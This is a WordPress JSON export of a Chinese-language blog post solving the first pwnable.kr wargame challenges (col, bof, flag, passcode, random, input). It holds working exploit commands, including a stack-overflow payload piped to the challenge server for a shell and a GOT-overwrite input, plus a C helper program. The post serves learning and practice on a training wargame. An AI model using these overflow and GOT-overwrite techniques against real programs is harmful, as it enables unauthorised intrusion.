{"id":1640,"date":"2021-08-08T22:00:30","date_gmt":"2021-08-08T14:00:30","guid":{"rendered":"https:\/\/flandre-scarlet.moe\/blog\/?p=1640"},"modified":"2021-08-09T00:11:58","modified_gmt":"2021-08-08T16:11:58","slug":"pwnable-kr-%e7%bb%83%e4%b9%a0%ef%bc%88%e4%b8%80%ef%bc%89","status":"publish","type":"post","link":"https:\/\/flandre-scarlet.moe\/blog\/1640\/","title":{"rendered":"pwnable.kr \u7ec3\u4e60\uff08\u4e00\uff09"},"content":{"rendered":"<h1>Toddler&#8217;s Bottle<\/h1>\n<h2>col<\/h2>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">.\/col &quot;$(python -c 'from struct import pack;print &quot;0&quot;*16 + pack(&quot;&lt;I&quot;, 0x611c492c)')&quot;<\/pre>\n<h2>bof<\/h2>\n<p>\u4e00\u5f00\u59cb\u4e0d\u719f\u6089\u8f93\u5165\u5904\u7406\uff0c\u82b1\u4e86\u4e0d\u5c11\u65f6\u95f4\u2026\u2026echo \u540e\u9762\u8ffd\u52a0 cat \u53ef\u4ee5\u4f7f\u8f93\u5165\u6d41\u5173\u95ed\uff0c\u6210\u529f\u83b7\u5f97 shell\u3002\uff08PS\uff1a\u4e00\u5f00\u59cb\u62ff\u5230\u4e86 shell \u8fd8\u4e0d\u81ea\u77e5\u2026\u2026\uff09\u4e0d\u52a0 cat \u7684\u8bdd\u5219\u4f1a\u63d0\u793a <i>*** stack smashing detected ***: terminated<\/i><\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">(echo &quot;$(python -c 'from struct import pack;print &quot;A&quot;*52 + pack(&quot;&lt;I&quot;, 0xcafebabe)')&quot;;cat) | nc pwnable.kr 9000<\/pre>\n<p><!--more--><\/p>\n<h2>flag<\/h2>\n<p>\u62d6\u5230 ida \u91cc\uff0c\u4e00\u5f00\u59cb\u89c9\u5f97\u51fd\u6570\u5f88\u5c11\uff0c\u800c\u4e14\u627e\u4e0d\u5230 pe \u91cc\u7684\u5b57\u7b26\u4e32\uff0c\u7ffb\u6765\u7ffb\u53bb\u53d1\u73b0\u539f\u6765\u7528 upx \u538b\u7f29\u4e86\u3002\u89e3\u538b\u540e\u5c31\u7b80\u5355\u4e86\uff0c\u4ece main \u51fd\u6570\u91cc\u76f4\u63a5\u5c31\u80fd\u770b\u5230\u5f15\u7528\u7684 flag \u5b57\u7b26\u4e32\u5185\u5bb9\u3002<\/p>\n<h2>passcode<\/h2>\n<p>\u89c2\u5bdf\u4ee3\u7801\u53ef\u4ee5\u770b\u5230\uff0c<code>scanf<\/code>\u3001<code>passcode1<\/code> \u548c <code>passcode2<\/code> \u7684\u5730\u65b9\u90fd\u6ca1\u6709\u52a0\u53d6\u5730\u5740\u7b26\uff0c\u5219\u6570\u636e\u4e0d\u4f1a\u5199\u5230\u8fd9\u4e24\u4e2a\u53d8\u91cf\u800c\u662f\u5199\u9053\u5b83\u4eec\u7684\u503c\u6240\u6307\u5411\u7684\u5730\u5740\u4e0a\u3002\u4f46 <code>passcode1<\/code>\uff0c<code>passcode2<\/code> \u90fd\u6ca1\u6709\u521d\u59cb\u5316\uff0c\u6240\u4ee5\u5b83\u4eec\u7684\u503c\u662f\u968f\u673a\u7684\u2014\u2014\u672c\u8be5\u5982\u6b64\uff0c\u4f46\u662f\u5728\u8c03\u7528 <code>login<\/code> \u4e4b\u524d\u4f1a\u5148\u8c03\u7528 <code>welcome<\/code> \u51fd\u6570\uff0c<code>welcome<\/code> \u4e2d\u7684 <code>char name[100]<\/code> \u4f7f\u5f97\u6211\u4eec\u53ef\u4ee5\u63a7\u5236 p1 \u548c p2 \u53d8\u91cf\u7684\u503c\u3002\u56e0\u4e3a <code>welcome<\/code> \u548c <code>login<\/code> \u7684 ebp \u662f\u76f8\u7b49\u7684\uff0c\u5f53\u6808\u91cd\u7528\u65f6 p1 p2 \u5360\u636e\u7684\u4f4d\u7f6e\u6b63\u597d\u843d\u5728 <code>name[100]<\/code> \u7684\u8303\u56f4\u5185\u3002\u800c\u6211\u4eec\u53ef\u4ee5\u8f93\u5165\u51e0\u4e4e\u4efb\u610f\u7684\u503c\u5230 <code>name<\/code> \u91cc\uff08\u9664\u4e86 \\x0 \u7a7a\u767d\u5b57\u7b26\u7b49\uff0cscanf(%s) \u7684\u9650\u5236\uff09\u3002<br \/>\n\u8fd9\u6837\u5c31\u80fd\u60f3\u5230\u5148\u628a p1 p2 \u7684\u503c\u521d\u59cb\u5316\u6210\u5b83\u4eec\u7684\u5730\u5740\uff0c\u7136\u540e\u518d\u586b\u5165 if \u4e2d\u7684\u4e24\u4e2a\u6574\u6570\u6ee1\u8db3\u6761\u4ef6\uff0c\u4f46\u5b9e\u9645\u4e0a\u6bcf\u6b21\u8fd0\u884c\u65f6\u6808\u7684\u4f4d\u7f6e\u65e0\u6cd5\u9884\u77e5\uff0c\u6240\u4ee5\u4e0d\u597d\u505a\u5230\u3002<br \/>\n\u4ece\u53e6\u4e00\u4e2a\u89d2\u5ea6\u770b\u4e5f\u53ef\u4ee5\u5229\u7528\u4efb\u610f 4 \u5b57\u8282\u5730\u5740\u5199\u5165\u7684\u80fd\u529b\u76f4\u63a5\u7ed5\u8fc7\u8fd9\u4e2a if\uff0c\u6bd4\u5982\u76f4\u63a5\u8df3\u5230 <code>system(\"\/bin\/cat flag\");<\/code> \u5f00\u59cb\u6267\u884c\u3002\u53ef\u4ee5\u901a\u8fc7\u6539\u5199 GOT \u8868\u6765\u8fbe\u5230\u5077\u6881\u6362\u67f1\u7684\u76ee\u7684\uff0c\u8fd9\u6837\u7a0b\u5e8f\u5728\u8bd5\u56fe\u8c03\u7528\u88ab\u7be1\u6539\u8fc7\u51fd\u6570\u65f6\u5c31\u4f1a\u8df3\u8f6c\u5230\u6211\u4eec\u60f3\u8981\u7684\u4f4d\u7f6e\u3002\u800c\u53ef\u4ee5\u9009\u62e9\u7684\u76ee\u6807\u5c31\u662f <code>scanf(\"%d\", passcode1);<\/code> \u4e4b\u540e\u53ef\u4ee5\u88ab\u8c03\u7528\u5230\u7684\u51fd\u6570\u3002<br \/>\n\u67e5\u770b <code>passcode<\/code> \u7684 GOT \u8868\uff0c\u56e0\u4e3a <code>printf<\/code> <code>scanf<\/code> \u7684\u5730\u5740\u91cc\u6709 \\x0 \\x20 \u6240\u4ee5\u6392\u9664\u6389\uff0c\u5269\u4e0b\u53ef\u4ee5\u9009 <code>fflush<\/code> \u548c <code>exit<\/code>\u3002\u6bd4\u5982 <code>exit<\/code> \u7684\u5730\u5740\u662f 0x0804a018\u3002<\/p>\n<pre>Relocation section '.rel.plt' at offset 0x398 contains 9 entries:\r\n Offset     Info    Type            Sym.Value  Sym. Name\r\n0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0\r\n0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0\r\n0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4\r\n0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0\r\n0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0\r\n0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__\r\n0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0\r\n0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0\r\n0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7\r\n<\/pre>\n<p>\u53cd\u6c47\u7f16 elf \u53ef\u4ee5\u627e\u5230\u60f3\u8981\u6267\u884c\u7684 <code>system(\"\/bin\/cat flag\");<\/code> \u5730\u5740\u662f 0x80485e3\u3002<br \/>\n\u6240\u4ee5\u505a\u6cd5\u5c31\u662f\u5148\u628a <code>passcode1<\/code> \u7684\u503c\u521d\u59cb\u5316\u6210 0x0804a018\uff0c\u7136\u540e\u6267\u884c\u5230 <code>scanf p1<\/code> \u65f6\u8f93\u5165 0x80485e3\u3002\u7136\u540e\u4ee3\u7801\u6267\u884c\u5230 <code>exit(0)<\/code> \u65f6\u5c31\u4f1a\u8df3\u8f6c\u4e86\u3002<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">python -c 'print &quot;A&quot;*96 + &quot;\\x18\\xa0\\x04\\x08 134514147&quot;' &gt; \/tmp\/test\r\n.\/passcode &lt; \/tmp\/test<\/pre>\n<h2>random<\/h2>\n<p>\u5173\u952e\u5728\u4e8e <i>If no seed value is provided, the rand() function is automatically seeded with a value of 1.<\/i><\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\u8f93\u5165 3039230856<\/pre>\n<h2>input<\/h2>\n<p>\u4e3b\u8981\u8981\u719f\u6089 libc \u51fd\u6570\u2026\u2026\u53e6\u5916\u8fdc\u7a0b\u673a\u4e0a\u7684\u73af\u5883\u4e5f\u6709\u6240\u4e0d\u540c\uff0c\u8981\u7a0d\u4f5c\u8c03\u6574\u3002\u628a\u4ee3\u7801\u62f7\u5230 \/tmp \u7684\u5355\u72ec\u76ee\u5f55\u4e0b\uff0c\u5e76\u5c06 flag \u94fe\u63a5\u5230\u5f53\u524d\u76ee\u5f55\uff0c\u56e0\u4e3a\u5f53\u524d\u76ee\u5f55\u662f input \u7684\u5de5\u4f5c\u76ee\u5f55\u3002<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">mkdir \/tmp\/ABC &amp;&amp; cd \/tmp\/ABC\r\nln -s \/home\/input2\/flag flag\r\ncat &gt; 1.c        ; \u8f93\u5165\u6e90\u4ee3\u7801\uff0cPATH_INPUT \u5207\u6362\u6210 input \u6587\u4ef6\u5b9e\u9645\u6240\u5728\u8def\u5f84\r\ngcc 1.c -o 1 &amp;&amp; .\/1<\/pre>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;sys\/socket.h&gt;\r\n#include &lt;arpa\/inet.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;fcntl.h&gt;\r\n#include &lt;errno.h&gt;\r\n#include &lt;sys\/socket.h&gt;\r\n#include &lt;arpa\/inet.h&gt;\r\n\r\n\r\n#define PATH_IN &quot;st2-in&quot;\r\n#define PATH_ERR &quot;st2-err&quot;\r\n#define PATH_OUT &quot;st2-out&quot;\r\n#define PATH_0A &quot;\\x0a&quot;\r\n\r\n\r\n#if 0\r\n#define PATH_INPUT &quot;input&quot;\r\n#else\r\n#define PATH_INPUT &quot;\/home\/input2\/input&quot;\r\n#endif\r\n\r\n\r\nint main() {\r\n    char* n_argv&#x5B;101] = {0};\r\n\r\n    \/\/ 1\r\n    for (int i = 0; i &lt; 100; ++i) {\r\n        n_argv&#x5B;i] = &quot;&quot;;\r\n    }\r\n    n_argv&#x5B;100] = NULL;\r\n    n_argv&#x5B;'A'] = &quot;\\x00&quot;;\r\n    n_argv&#x5B;'B'] = &quot;\\x20\\x0a\\x0d&quot;;\r\n\r\n\r\n    \/\/ 2\r\n    int n_in = open(PATH_IN, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);\r\n    int n_err = open(PATH_ERR, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);\r\n    write(n_in, &quot;\\x00\\x0a\\x00\\xff&quot;, 4);\r\n    write(n_err, &quot;\\x00\\x0a\\x02\\xff&quot;, 4);\r\n    lseek(n_in, 0, SEEK_SET);\r\n    lseek(n_err, 0, SEEK_SET);\r\n    dup2(n_in, STDIN_FILENO);\r\n    dup2(n_err, STDERR_FILENO);\r\n\r\n\r\n    \/\/ 3\r\n    char* n_env&#x5B;3] = {0};\r\n    n_env&#x5B;0] = &quot;\\xde\\xad\\xbe\\xef=\\xca\\xfe\\xba\\xbe&quot;;\r\n    n_env&#x5B;1] = NULL;\r\n\r\n\r\n    \/\/ 4\r\n    int fa = open(PATH_0A, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);\r\n    write(fa, &quot;\\x00\\x00\\x00\\x00&quot;, 4);\r\n    close(fa);\r\n\r\n\r\n    \/\/ 5.1\r\n    n_argv&#x5B;'C'] = &quot;10000&quot;;\r\n    int pid = -1;\r\n    if ((pid = fork()) == 0) {\r\n        execve(PATH_INPUT, n_argv, n_env);\r\n        printf(&quot;exec err: %d\\n&quot;, errno);\r\n    }\r\n    else if (pid &gt; 0) {\r\n        \/\/ 5.2\r\n        sleep(1);\r\n        int sk = socket(AF_INET, SOCK_STREAM, 0);\r\n        struct sockaddr_in target;\r\n        target.sin_family = AF_INET;\r\n        target.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;);\r\n        target.sin_port = htons(10000);\r\n        if (connect(sk, (struct sockaddr*)&amp;target, sizeof(target)) &lt; 0)\r\n            printf(&quot;connect err: %d\\n&quot;, errno);\r\n        send(sk, &quot;\\xde\\xad\\xbe\\xef&quot;, 4, 0);\r\n        close(sk);\r\n    }\r\n    else {\r\n        puts(&quot;fork failed&quot;);\r\n    }\r\n    return 0;\r\n}<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Toddler&#8217;s Bottle col .\/col &quot;$(python -c &#8216;fro&#8230; <\/p>\n<div class=\"read-more navbutton\"><a href=\"https:\/\/flandre-scarlet.moe\/blog\/1640\/\">\u9605\u8bfb\u66f4\u591a<i class=\"fa fa-angle-double-right\"><\/i><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[85],"tags":[192,191],"class_list":["post-1640","post","type-post","status-publish","format-standard","hentry","category-programs","tag-pwn","tag-pwnable-kr"],"_links":{"self":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/1640","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/comments?post=1640"}],"version-history":[{"count":13,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/1640\/revisions"}],"predecessor-version":[{"id":1653,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/posts\/1640\/revisions\/1653"}],"wp:attachment":[{"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/media?parent=1640"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/categories?post=1640"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/flandre-scarlet.moe\/blog\/wp-json\/wp\/v2\/tags?post=1640"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}